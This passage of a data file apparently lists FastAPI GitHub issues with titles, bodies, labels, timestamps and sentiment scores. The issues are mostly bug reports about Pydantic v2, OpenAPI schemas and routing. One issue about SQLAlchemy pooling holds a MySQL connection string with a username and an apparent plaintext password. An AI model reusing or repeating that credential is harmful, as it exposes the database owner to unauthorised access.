The docs for sub applications note that the sub-application will have it's root_path correctly set, and I've tried a few combinations of manually setting the root_path on the subapi instance, but to no avail.

## Related
- https://github.com/tiangolo/fastapi/discussions/9070
- https://github.com/tiangolo/fastapi/pull/5373",bug,2023-08-31 12:36:09+00:00,2026-05-18 13:04:45+00:00,18,bug,991.0199,mounting sub applications under discussed in example code description is it possible to mount a sub application under an apirouter apirouter itself has a mount function and accepts similar arguments to mounting a sub application on a fastapi instance but i can t get the routing to actually work nor can i get the openapi docs or spec to come back from that i would assume are the correct urls the docs for sub applications note that the sub application will have it s root path correctly set and i ve tried a few combinations of manually setting the root path on the subapi instance but to no avail related,bug,-0.4588
tiangolo/fastapi,1874864989,HTTPBearer security scheme is returning 403 instead or 401,"### Discussed in https://github.com/tiangolo/fastapi/discussions/9130

<div type='discussions-op-text'>

<sup>Originally posted by **aaaaahaaaaa** September  8, 2020</sup>
HTTPBearer security scheme enabled as a dependency is returning a `403` when a request is unauthenticated because of a missing or a malformed `authorization` header. In those scenarios, a `401` should be returned instead.</div>

## Related PRs
- https://github.com/tiangolo/fastapi/pull/2120
- https://github.com/tiangolo/fastapi/pull/5310
- https://github.com/tiangolo/fastapi/pull/5332
- https://github.com/tiangolo/fastapi/pull/9312",bug,2023-08-31 06:26:52+00:00,2025-11-24 19:03:07+00:00,12,bug,816.5252,httpbearer security scheme is returning instead or discussed in originally posted by aaaaahaaaaa september httpbearer security scheme enabled as a dependency is returning a when a request is unauthenticated because of a missing or a malformed header in those scenarios a should be returned instead related prs,bug,0.3818
tiangolo/fastapi,1868011317,SQL Alchemy NULL POOL connection,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

def get_db():
   
    try:
        engine = create_engine(f""mysql+pymysql://AIC_FASTAPI_ALL:c20baf51cf022c3a02b835badc7bb7d9@localhost:{port_num}/digital_factory_ent_v1"",pool_pre_ping=True,pool_recycle = 60,poolclass=QueuePool)
        # engine = create_engine(""mysql+pymysql://root@localhost/digital_factory_ent_v1"",pool_pre_ping=True,pool_recycle = 60,poolclass=QueuePool)
        SessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine)
        createFolder(""Log/"",f""Engine : {engine} "")
        
        db = SessionLocal()
        yield db
    finally:
        db.close()                                     i have been using db connection for api.. every request i need open and close the connection...what are the method should i use for close the db connection...shall i use null pool concept ...is it the make any issues",,2023-08-26 10:13:04+00:00,2023-08-26 18:17:14+00:00,1,nan,0.3362,sql alchemy null pool connection privileged issue x i m tiangolo or he asked me directly to create an issue here issue content def get db try engine create engine f mysql pymysql aic fastapi all c baf cf c a b badc bb d localhost port num digital factory ent v pool pre ping true pool recycle poolclass queuepool engine create engine mysql pymysql root localhost digital factory ent v pool pre ping true pool recycle poolclass queuepool sessionlocal sessionmaker autocommit false autoflush false bind engine createfolder log f engine engine db sessionlocal yield db finally db close i have been using db connection for api every request i need open and close the connection what are the method should i use for close the db connection shall i use null pool concept is it the make any issues,others,0.9153
tiangolo/fastapi,1860681203,Cannot use `Response` type hint as dependency annotation,"### Privileged issue

- [ ] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

FastAPI `0.95.0` introduced `Annotated` as a way to create dependencies (https://fastapi.tiangolo.com/release-notes/#0950).

Before `0.95.0`, it was possible to use `Response` as a type hint for dependencies. After that, it was not possible anymore.

- See #9897 for more details - Thanks @holyoaks for the report.

Example that worked before:

```py
from typing import Annotated
from fastapi import FastAPI, Response, Depends

app = FastAPI()

def set_no_cache_headers(response: Response) -> Response:
    response.headers[""Potato""] = ""potato""
    return response

@app.get(""/"")
def testing_response(response: Response = Depends(set_no_cache_headers)):
    return {}
```

As a workaround today, if you remove the `Response` type hint, it works as expected:

```py
@app.get(""/"")
def testing_response(response = Depends(set_no_cache_headers)):
    return {}
```

The `Annotated` way also doesn't work:

```py
@app.get(""/"")
def testing_response(response: Annotated[Response, Depends(set_no_cache_headers)]):
    return {}
```",,2023-08-22 06:26:09+00:00,2026-02-05 18:23:38+00:00,5,nan,898.4983,cannot use type hint as dependency annotation privileged issue i m tiangolo or he asked me directly to create an issue here issue content fastapi introduced as a way to create dependencies before it was possible to use as a type hint for dependencies after that it was not possible anymore see for more details thanks holyoaks for the report example that worked before as a workaround today if you remove the type hint it works as expected the way also doesn t work,others,0.8511
tiangolo/fastapi,1859090913,OpenAPI don´t load schemas in this last versions.,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I have detected problems in the loading of the schemas generated by fastapi in openapi. As of version 0.95.1 schemas are loading null. It is possible that the error is caused by some pydantic update. With version 0.95.1 the schemas load correctly and can be seen in the development portals.",,2023-08-21 10:37:25+00:00,2023-08-21 10:43:28+00:00,1,nan,0.0042,openapi don t load schemas in this last versions privileged issue x i m tiangolo or he asked me directly to create an issue here issue content i have detected problems in the loading of the schemas generated by fastapi in openapi as of version schemas are loading null it is possible that the error is caused by some pydantic update with version the schemas load correctly and can be seen in the development portals,others,-0.1779
tiangolo/fastapi,1850432806,There is no backward compatibility with pydantic1.10,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

File  tortoise\contrib\pydantic\base.py  line 4
```python
from pydantic import BaseModel, ConfigDict, RootModel
```

```log
ImportError: cannot import name 'RootModel' from 'pydantic'
```

relevant for pedantic version 1.10",,2023-08-14 19:44:37+00:00,2023-08-15 06:14:59+00:00,0,nan,0.4378,there is no backward compatibility with pydantic privileged issue x i m tiangolo or he asked me directly to create an issue here issue content file tortoise contrib pydantic base py line relevant for pedantic version,others,0.4215
tiangolo/fastapi,1847697146,cannot import name 'WebSocketException' from 'starlette.exceptions',"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I am using 0.100 version, and when i run the main.py, it comes out the error: ""cannot import name 'WebSocketException' from 'starlette.exceptions' (/Users/project/venv/lib/python3.9/site-packages/starlette/exceptions.py""

Early I have been using 0.78 for a long time, and I decided to use the latest version in the new project, but unfortunately it failed.",,2023-08-12 03:02:19+00:00,2023-08-12 04:16:56+00:00,0,nan,0.0518,cannot import name websocketexception from starlette exceptions privileged issue x i m tiangolo or he asked me directly to create an issue here issue content i am using version and when i run the main py it comes out the error cannot import name websocketexception from starlette exceptions users project venv lib python site packages starlette exceptions py early i have been using for a long time and i decided to use the latest version in the new project but unfortunately it failed,others,-0.7935
tiangolo/fastapi,1837139184,"Pydantic v2, dataclasses, UUID, and `__annotations__`","### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

The combination of using:

* Pydantic v2
* dataclasses (instead of Pydantic models)
* UUIDs
* `from future import __annotations__`

seems to break in a strange way.

This was original reported in this discussion by @sanzoghenzo: https://github.com/tiangolo/fastapi/discussions/9709#discussioncomment-6449458

In particular the comment by @raddevon with the minimal example by @fantix:

```Python
from __future__ import annotations

import uuid
from dataclasses import dataclass, field
from typing import List, Union

from fastapi import FastAPI


@dataclass
class Item:
    id: uuid.UUID
    name: str
    price: float
    tags: List[str] = field(default_factory=list)
    description: Union[str, None] = None
    tax: Union[float, None] = None


app = FastAPI()


@app.get(""/items/next"", response_model=Item)
async def read_next_item():
    return {
        ""name"": ""Island In The Moon"",
        ""price"": 12.99,
        ""description"": ""A place to be be playin' and havin' fun"",
        ""tags"": [""breater""],
    }
```

Starting FastAPI with that breaks with an error of:

<details>
<summary>log</summary>

```
uvicorn main:app
Traceback (most recent call last):
  File ""/Users/user/code/fastapi/env3.10/lib/python3.10/site-packages/pydantic/type_adapter.py"", line 165, in __init__
    core_schema = _getattr_no_parents(type, '__pydant... [TRUNCATED]",bug,2023-08-04 17:54:46+00:00,2025-12-09 11:14:04+00:00,23,bug,857.7217,pydantic v dataclasses uuid and privileged issue x i m tiangolo or he asked me directly to create an issue here issue content the combination of using pydantic v dataclasses instead of pydantic models uuids seems to break in a strange way this was original reported in this discussion by sanzoghenzo in particular the comment by raddevon with the minimal example by fantix starting fastapi with that breaks with an error of log uvicorn main app traceback most recent call last file users user code fastapi env lib python site packages pydantic type adapter py line in init core schema getattr no parents type pydant truncated,bug,0.0772
tiangolo/fastapi,1834295576,"dependency use yield doesn't response to the client immediately after yield, still have to wait after all the code after yield has finished","### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I have a dependency like this:
![image](https://github.com/tiangolo/fastapi/assets/91235829/d4575d62-e558-4bfb-bc62-811e06b192b4)
I use await asyncio.sleep(20) after yield, I expect the response return to the client immediately, after 20 seconds, there will be a print 'finally', but I test with curl, the response is immediate, but in the postman or browser, I still have to wait 20 seconds, I thought it was because connection header, but I changed the connection header, still the same result.
<img width=""2038"" alt=""image"" src=""https://github.com/tiangolo/fastapi/assets/91235829/98a16023-3112-4605-a820-e2c39456bd9c"">
<img width=""426"" alt=""image"" src=""https://github.com/tiangolo/fastapi/assets/91235829/525fa2c1-e4fc-44c2-9739-dec46ee76d1d"">

I just really want to know why, is this a bug? ",,2023-08-03 05:22:22+00:00,2023-08-04 07:58:22+00:00,1,nan,1.1083,dependency use yield doesn t response to the client immediately after yield still have to wait after all the code after yield has finished privileged issue x i m tiangolo or he asked me directly to create an issue here issue content i have a dependency like this image i use await asyncio sleep after yield i expect the response return to the client immediately after seconds there will be a print finally but i test with curl the response is immediate but in the postman or browser i still have to wait seconds i thought it was because connection header but i changed the connection header still the same result img width alt image src img width alt image src i just really want to know why is this a bug,others,-0.1054
tiangolo/fastapi,1814547101,Handling `RequestValidationError` for `PydanticUndefinedType` with empty `list` type query parameters,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Although I have not contacted tiangolo, I received [an approval](https://github.com/tiangolo/fastapi/discussions/9709#discussioncomment-6498728) from @Kludex to create an issue for this.

Right now there is a problem with how FastAPI handles `RequestValidationError` when a `list` query parameter is empty with Pydantic v2. Quoting Kludex's original comment:

> This is a bug.
> 
> It's not related to UUID, but with any list:
> 
> ```py
> from fastapi import FastAPI, Query
> 
> app = FastAPI()
> 
> 
> @app.get(""/test"")
> def get_test(device_ids: list[int] = Query()) -> int:
>     return 1
> 
> 
> if __name__ == ""__main__"":
>     import uvicorn
> 
>     uvicorn.run(f""{__name__}:app"", reload=True)
> ```
> 
> It's a FastAPI issue, not Pydantic. Thanks for reporting it. 👍

To provide some context, when the `RequestValidationError` is raised, the default handler tries to serialise the error with `jsonable_encoder`, which calls either `dict` or `vars`.

https://github.com/tiangolo/fastapi/blob/f7e3559bd5997f831fb9b02bef9c767a50facbc3/fastapi/exception_handlers.py#L20-L26

https://github.com/tiangolo/fastapi/blob/f7e3559bd5997f831fb9b02bef9c767a50facbc3/fastapi/encoders.py#L229-L238

However, when a `list` query parameter is empty, Pydantic somehow returns a `PydanticUndefinedType` that `jsonable_encoder` cannot understand, raising an uncaught ... [TRUNCATED]",bug,2023-07-20 18:11:21+00:00,2024-04-18 21:58:53+00:00,9,bug,273.158,handling for with empty type query parameters privileged issue x i m tiangolo or he asked me directly to create an issue here issue content although i have not contacted tiangolo i received an approval from kludex to create an issue for this right now there is a problem with how fastapi handles when a query parameter is empty with pydantic v quoting kludex s original comment this is a bug it s not related to uuid but with any list it s a fastapi issue not pydantic thanks for reporting it to provide some context when the is raised the default handler tries to serialise the error with which calls either or however when a query parameter is empty pydantic somehow returns a that cannot understand raising an uncaught truncated,bug,-0.8025
tiangolo/fastapi,1806104246,multi-environment configuration,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

How can we implement multi-environment configuration in FastAPI, like in Spring Boot? Can we use YAML or property files to achieve multi-environment configuration?",,2023-07-15 13:58:54+00:00,2023-07-15 18:14:03+00:00,2,nan,0.1772,multi environment configuration privileged issue x i m tiangolo or he asked me directly to create an issue here issue content how can we implement multi environment configuration in fastapi like in spring boot can we use yaml or property files to achieve multi environment configuration,others,0.7579
tiangolo/fastapi,1800506684,pydantic v2 redoc bug,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

error: 

``` python
obj = Annotated[str, PlainValidator(lambda v: str(v))]
class Menu(BaseModel):
    uid: obj = Field(None, alias=""_id"", serialization_alias=""_id"")  # use Annotated error
```
effect: 

![image](https://github.com/tiangolo/fastapi/assets/40333954/0ecb761e-661b-41e2-a2b5-93e75041a13a)
![image](https://github.com/tiangolo/fastapi/assets/40333954/5898bac9-7f34-4704-8f9d-33491a41dd10)

Normal after annotation:

![image](https://github.com/tiangolo/fastapi/assets/40333954/2dde697e-1f05-4fdd-965d-7abd46ece83a)
![image](https://github.com/tiangolo/fastapi/assets/40333954/71645ba7-595c-45b7-abe1-5a4e6b267325)

Summary:

- Pydantic v2 is not fully adapted to redoc

",,2023-07-12 08:56:23+00:00,2023-07-12 08:59:48+00:00,0,nan,0.0024,pydantic v redoc bug privileged issue x i m tiangolo or he asked me directly to create an issue here issue content error effect image image normal after annotation image image summary pydantic v is not fully adapted to redoc,bug,-0.25
tiangolo/fastapi,1792645190,Unable to render this definition,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Hello,

I'm trying to use FastAPI's Swagger UI in an offline environment. I have downloaded the static files from Swagger UI's GitHub repository and put them in a `static` directory in my project. I have also configured FastAPI to serve these static files and to use the local Swagger UI for the docs page.

Here is a simplified version of my code:

```python
import uvicorn
from pathlib import Path
from fastapi import FastAPI
from file_parse.api import fp_router
from fastapi.staticfiles import StaticFiles

ROOT_PATH = Path(__file__).parent

app = FastAPI()

app.mount(""/static"", StaticFiles(directory=""static""), name=""static"")



app.include_router(fp_router, prefix=""/file_parse"", tags=[""图片、音频、视频解析""])

if __name__ == ""__main__"":
    uvicorn.run(app, host=""0.0.0.0"", port=8080, log_level=""debug"", reload=True)
```
However, when I visit the /docs page, I get the following error:
```
Unable to render this definition
The provided definition does not specify a valid version field.

Please indicate a valid Swagger or OpenAPI version field. Supported version fields are swagger: ""2.0"" and those that match openapi: 3.0.n (for example, openapi: 3.0.0).
```
I have checked my OpenAPI JSON at /openapi.json and it seems to be fine. I'm also using a version of Swagger UI that supports OpenAPI 3.0.0.

I'm not sure what I'm doing wrong. Could you pl... [TRUNCATED]",,2023-07-07 02:57:53+00:00,2023-07-07 06:26:41+00:00,0,nan,0.145,unable to render this definition privileged issue x i m tiangolo or he asked me directly to create an issue here issue content hello i m trying to use fastapi s swagger ui in an offline environment i have downloaded the static files from swagger ui s github repository and put them in a directory in my project i have also configured fastapi to serve these static files and to use the local swagger ui for the docs page here is a simplified version of my code however when i visit the docs page i get the following error i have checked my openapi json at openapi json and it seems to be fine i m also using a version of swagger ui that supports openapi i m not sure what i m doing wrong could you pl truncated,others,-0.0675
tiangolo/fastapi,1789210035,cannot import name 'deprecated' from 'typing_extensions',"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

When I use fastapi in Python 3.10.11. Throw some errors like ""cannot import name 'deprecated' from 'typing_extensions“",,2023-07-05 09:59:51+00:00,2023-07-05 10:01:55+00:00,0,nan,0.0014,cannot import name deprecated from typing extensions privileged issue x i m tiangolo or he asked me directly to create an issue here issue content when i use fastapi in python throw some errors like cannot import name deprecated from typing extensions,others,0.6249
tiangolo/fastapi,1788907073,"I wanted to record the request result, but an error occurred while retrieving the content","### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I use fastapi 0.99.1

Here is my custom middleware

```py
import time

from fastapi import Request
from starlette.middleware.base import BaseHTTPMiddleware
from uvicorn.protocols.utils import get_path_with_query_string
from starlette.responses import StreamingResponse
from app.core.logger import access_logger as logger


class AccessLogMiddleware(BaseHTTPMiddleware):
    async def dispatch(self, request: Request, call_next):
        start_time = time.perf_counter_ns()

        response: StreamingResponse = await call_next(request)

        end_time = time.perf_counter_ns()

        process_time = round((end_time - start_time) / 10**9, 3)

        status_code = response.status_code
        path = get_path_with_query_string(request.scope)
        client_host = request.client.host
        client_port = request.client.port
        http_method = request.method
        content = response.content

        logger.info(
            f""{http_method} | status_code: {status_code} | {path} | time: {process_time} s | {client_host}:{client_port} | content: {content}"")

        return response

```

An exception will be thrown here：'_StreamingResponse' object has no attribute 'content'

I would like to ask how to solve it, thank you
",,2023-07-05 06:59:55+00:00,2023-07-05 07:05:57+00:00,0,nan,0.0042,i wanted to record the request result but an error occurred while retrieving the content privileged issue x i m tiangolo or he asked me directly to create an issue here issue content i use fastapi here is my custom middleware an exception will be thrown here streamingresponse object has no attribute content i would like to ask how to solve it thank you,bug,0.8126
tiangolo/fastapi,1784692706,"🐛 OpenAPI validation errors after upgrading from FastAPI 0.98.0 to 0.99.0, valid JSON Schema includes `bool`","## Description

(by @tiangolo)

The problem is that a ""valid JSON Schema"" includes a `bool` (i.e. `true` and `false`).

So, `additionalProperties` doesn't have to be a JSON object, it can be `false`, to mean no additional properties are allowed.

When I upgraded the JSON Schema models to include the new types and fields for the new JSON Schema 2020-12 I removed `bool` as a valid JSON Schema.

This is solved in: https://github.com/tiangolo/fastapi/pull/9781

### Discussed in https://github.com/tiangolo/fastapi/discussions/9779

<div type='discussions-op-text'>

<sup>Originally posted by **jawnsy** July  1, 2023</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fast... [TRUNCATED]",bug,2023-07-02 15:33:46+00:00,2023-07-02 16:03:29+00:00,1,bug,0.0206,openapi validation errors after upgrading from fastapi to valid json schema includes description by tiangolo the problem is that a valid json schema includes a i e and so doesn t have to be a json object it can be to mean no additional properties are allowed when i upgraded the json schema models to include the new types and fields for the new json schema i removed as a valid json schema this is solved in discussed in originally posted by jawnsy july first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from fast truncated,bug,0.9337
tiangolo/fastapi,1780066219,FastAPI return response code of 422 when sending image files to test.,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Hi. I'm writing test.py to test my server. I send an image as a request and it worked. But when I tried to send 2 or more image files, I failed. It returned this error: 
**422
{'detail': [{'loc': ['body', 'file_list'], 'msg': 'field required', 'type': 'value_error.missing'}]}**

Here is my code in the test.py file: 
```
import os
import requests

# Define the URL and the headers
url = ""http://127.0.0.1:8000/liveness_detection_image""
# headers = {
#     ""accept"": ""application/json"",
#     ""Content-Type"": ""multipart/form-data"",
# }
# file_paths = []
BASE_PATH = '/home/trung2000/Desktop/ai/POC/clean_arch/script/test_images/'

file2 = BASE_PATH + ""image_2.jpg""
file1 = BASE_PATH + ""image_1.jpg""
# Define the file to upload
file_list = [(""image_2"",open(file2, ""rb"")),
             (""image_1"",open(file1, ""rb"")),]

# Send a POST request with the file as multipart/form-data
response = requests.post(url,files=file_list)

# Print the response status and content
print(response.status_code)
print(response.json())
```

And here is the code that I defined my router:
```
router = APIRouter()

@router.post(""/liveness_detection_image"")
async def liveness_detection_img(file_list: list[UploadFile] = File(),) :
    response_list = []
    # Declare model params and model
    MODEL_DIR = ""./resources/anti_spoof_models""
    model = AntiSpoofPredict(0)
... [TRUNCATED]",,2023-06-29 03:32:33+00:00,2023-06-30 18:17:59+00:00,3,nan,1.6149,fastapi return response code of when sending image files to test privileged issue x i m tiangolo or he asked me directly to create an issue here issue content hi i m writing test py to test my server i send an image as a request and it worked but when i tried to send or more image files i failed it returned this error detail loc body file list msg field required type value error missing here is my code in the test py file and here is the code that i defined my router router apirouter router post liveness detection image async def liveness detection img file list list uploadfile file response list declare model params and model model dir resources anti spoof models model antispoofpredict truncated,others,-0.9477
tiangolo/fastapi,1765831727,FastAPI with Pydantic v2,"Is FastAPI with support for Pydantic v2 working for you (`0.100.0-beta1`)?

~Let me know **in this discussion** on the link: https://github.com/tiangolo/fastapi/discussions/9709~

~(don't comment in this issue, please go to the discussions and follow the instructions there)~

As FastAPI now supports Pydantic v2, any problems are not about the beta (as it's already released 😅), so let's keep the normal workflow.

If you are having problems, please create a new Discussion question following the template! 🙏  https://github.com/tiangolo/fastapi/discussions/new?category=questions",,2023-06-20 17:22:34+00:00,2023-08-04 17:49:34+00:00,26,nan,45.0188,fastapi with pydantic v is fastapi with support for pydantic v working for you let me know in this discussion on the link don t comment in this issue please go to the discussions and follow the instructions there as fastapi now supports pydantic v any problems are not about the beta as it s already released so let s keep the normal workflow if you are having problems please create a new discussion question following the template,others,0.6705
tiangolo/fastapi,1760552062,FastAPI Executable File Using conda Environment,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

i have created fastapi exe file by using conda, it will be like windows service and server..
when install the service  by using "" install_windows_service"" commant, service only running ,  not run server...what is the reason behind that...
",,2023-06-16 12:33:11+00:00,2023-06-16 12:40:31+00:00,0,nan,0.0051,fastapi executable file using conda environment privileged issue x i m tiangolo or he asked me directly to create an issue here issue content i have created fastapi exe file by using conda it will be like windows service and server when install the service by using install windows service commant service only running not run server what is the reason behind that,others,0.8176
tiangolo/fastapi,1759822149,SyntaxError: multiple exception types must be parenthesized,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

When I am importing some function from another file within same directory I am getting this error 

SyntaxError: multiple exception types must be parenthesized

I Have checked many times there is no any syntax error

![image](https://github.com/tiangolo/fastapi/assets/102589808/89b0d1dc-c398-4f45-9da7-1300b1e9524e)
",,2023-06-16 02:27:46+00:00,2023-06-16 06:24:48+00:00,2,nan,0.1646,syntaxerror multiple exception types must be parenthesized privileged issue x i m tiangolo or he asked me directly to create an issue here issue content when i am importing some function from another file within same directory i am getting this error syntaxerror multiple exception types must be parenthesized i have checked many times there is no any syntax error image,bug,-0.6369
tiangolo/fastapi,1752252357,Using lifespan event on `APIRoute()` instead in `FastAPI()`,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I have asked Mr @tiangolo on Twitter this question and he suggested me to ask in Github so it can benefit others and I am agree with him. 

I have tried to apply lifespan event on `APIroute()` instead of `app` object, based on the FastAPI [tutorial](https://fastapi.tiangolo.com/advanced/events/?h=). But it seems that to showed the Keyword error on `""answer_to_everything""`. I have search on Google but I don't found any discussion related to this. 

I found that `APIRoute()` class has `lifespan` parameter too (same as `FastAPI()`), but might be require certain or additional configuration to make it happened. Any way that we can apply the lifespan on route?

I hope you can help to solve this issue. Thank you for creating an awesome API framework. ",,2023-06-12 08:55:28+00:00,2023-06-12 08:58:34+00:00,0,nan,0.0022,using lifespan event on instead in privileged issue x i m tiangolo or he asked me directly to create an issue here issue content i have asked mr tiangolo on twitter this question and he suggested me to ask in github so it can benefit others and i am agree with him i have tried to apply lifespan event on instead of object based on the fastapi tutorial but it seems that to showed the keyword error on i have search on google but i don t found any discussion related to this i found that class has parameter too same as but might be require certain or additional configuration to make it happened any way that we can apply the lifespan on route i hope you can help to solve this issue thank you for creating an awesome api framework,others,0.9759
tiangolo/fastapi,1751702852,"When I tried to generate a swagger document through schemas during the query,  the default attribute is valid, but the attribute description is invalid","### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

```
from typing import Optional

import uvicorn
from fastapi import Depends, FastAPI, Query
from pydantic import BaseModel

app = FastAPI()


class NameSchemas(BaseModel):
    name: Optional[str] = Query(default=""test"", title=""名字"", description=""名字"")

    class Config:
        query_style = ""deepObject""


@app.get(""/test"")
async def read_query_check(data: BaseModel = Depends(NameSchemas)):

    return {""name"": data.name}


if __name__ == '__main__':
    uvicorn.run(app=app)
```

![image](https://github.com/tiangolo/fastapi/assets/87324385/73fa713b-6499-436d-b231-37a1bee5bca5)
",,2023-06-12 01:12:31+00:00,2023-06-13 16:20:58+00:00,1,nan,1.6309,when i tried to generate a swagger document through schemas during the query the default attribute is valid but the attribute description is invalid privileged issue x i m tiangolo or he asked me directly to create an issue here issue content image,documentation,0.7579
tiangolo/fastapi,1740569726,Why does APIRouter not allow extra keyword args to be passed along to a route class? ,"How come there is no way to pass any extra data down through the route decorators to a custom route class.

This seems like a small addition for what could be a very useful feature? Is there a reason this has not been done.

```
@router.get(""/"", some_extra_info = 1)
def get_something(): ...
```

Storing this in, say, a `route_extra` dict would allow you to do something like

`if router.routes[0].route_extra.get(""some_extra_info"") == 1: ...`

The only way to do this currently is to duplicate (since these classes are rather inextensible by nature) `APIRouter` and `APIRoute`.

The change would be rather trivial, of only adding a **kwds parameter to each of the decorators and appropriate methods, and add to the APIRoute class a new public property called extra_data which receives this.",,2023-06-04 20:21:34+00:00,2023-06-06 15:29:42+00:00,1,nan,1.7973,why does apirouter not allow extra keyword args to be passed along to a route class how come there is no way to pass any extra data down through the route decorators to a custom route class this seems like a small addition for what could be a very useful feature is there a reason this has not been done storing this in say a dict would allow you to do something like the only way to do this currently is to duplicate since these classes are rather inextensible by nature and the change would be rather trivial of only adding a kwds parameter to each of the decorators and appropriate methods and add to the apiroute class a new public property called extra data which receives this,others,0.5516
tiangolo/fastapi,1723538541,Exception: cannot import name 'get_args' from 'pydantic.typing',"### Discussed in https://github.com/tiangolo/fastapi/discussions/9565

<div type='discussions-op-text'>

<sup>Originally posted by **ZiChuanBuXiu** May 23, 2023</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
NA
```


### Description

```
from pydantic.typing import evaluate_forwardref, get_args, get_origin
ImportError: cannot import name 'get_args' from 'pydantic.typing' (/Users/yfeng/Library/Caches/pypoetry/virtualenvs/aips-cq-resource-api-F3u0rVOe-py3.8/lib/python3.8/site-packages/pydantic/typing.cpython-38-darwin.so)
```

In `fastapi=0.95.2`, the dependency on `pydantic` is [here](https://github.com/tiangolo/fastapi/blob/0.95.2/pyproject.toml#L45) which indicates ... [TRUNCATED]","bug,question",2023-05-24 09:19:08+00:00,2023-06-08 18:30:52+00:00,1,"bug,question",15.3831,exception cannot import name get args from pydantic typing discussed in originally posted by zichuanbuxiu may first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description in the dependency on is here which indicates truncated,bug,0.9136
tiangolo/fastapi,1697490857,FastApi has no Attribute debug error,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

i have given instance like this : 
![Screenshot (14)](https://user-images.githubusercontent.com/109121102/236450739-9a468b6f-96dc-46f1-8792-66ada5770bcf.png)

app=FastAPI()   
when i run a fastapi file i got Error AttributeError: 'FastAPI' object has no attribute 'debug' like this,
 how can i solve this
![Screenshot (8)](https://user-images.githubusercontent.com/109121102/236450858-30967569-e10d-42e9-a186-b585728c279b.png)
",,2023-05-05 11:53:07+00:00,2023-05-05 18:35:39+00:00,0,nan,0.2795,fastapi has no attribute debug error privileged issue x i m tiangolo or he asked me directly to create an issue here issue content i have given instance like this screenshot app fastapi when i run a fastapi file i got error attributeerror fastapi object has no attribute debug like this how can i solve this screenshot,bug,0.1027
tiangolo/fastapi,1693072499,Swagger docs shows query params as body request,"<img width=""1383"" alt=""Снимок экрана 2023-05-01 в 11 34 20"" src=""https://user-images.githubusercontent.com/74615964/235435733-c4a0725f-a937-4e6c-b8cf-437801a1d8a1.png"">
<img width=""597"" alt=""Снимок экрана 2023-05-01 в 11 34 07"" src=""https://user-images.githubusercontent.com/74615964/235435736-c1fa70a5-a8f7-43f9-bdd8-3db3254c4912.png"">
<img width=""398"" alt=""Снимок экрана 2023-05-01 в 11 33 47"" src=""https://user-images.githubusercontent.com/74615964/235435738-b7314baa-f34a-4233-abc6-07569e0da0f7.png"">

I have an endpoint, that takes as input from query params VehicleFilters, but transmission field is not shown in swagger as query param but as body request. I let as example param ""field"" and I want transmission to look like param field

_Originally posted by @ecosciug in https://github.com/tiangolo/fastapi/discussions/6748#discussioncomment-5770488_",,2023-05-02 20:40:55+00:00,2023-05-02 20:43:43+00:00,0,nan,0.0019,swagger docs shows query params as body request img width alt src img width alt src img width alt src i have an endpoint that takes as input from query params vehiclefilters but transmission field is not shown in swagger as query param but as body request i let as example param field and i want transmission to look like param field originally posted by ecosciug in,feature,0.5719
tiangolo/fastapi,1689076002,FastAPI tests in pydantic failing due to flask deprecation,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

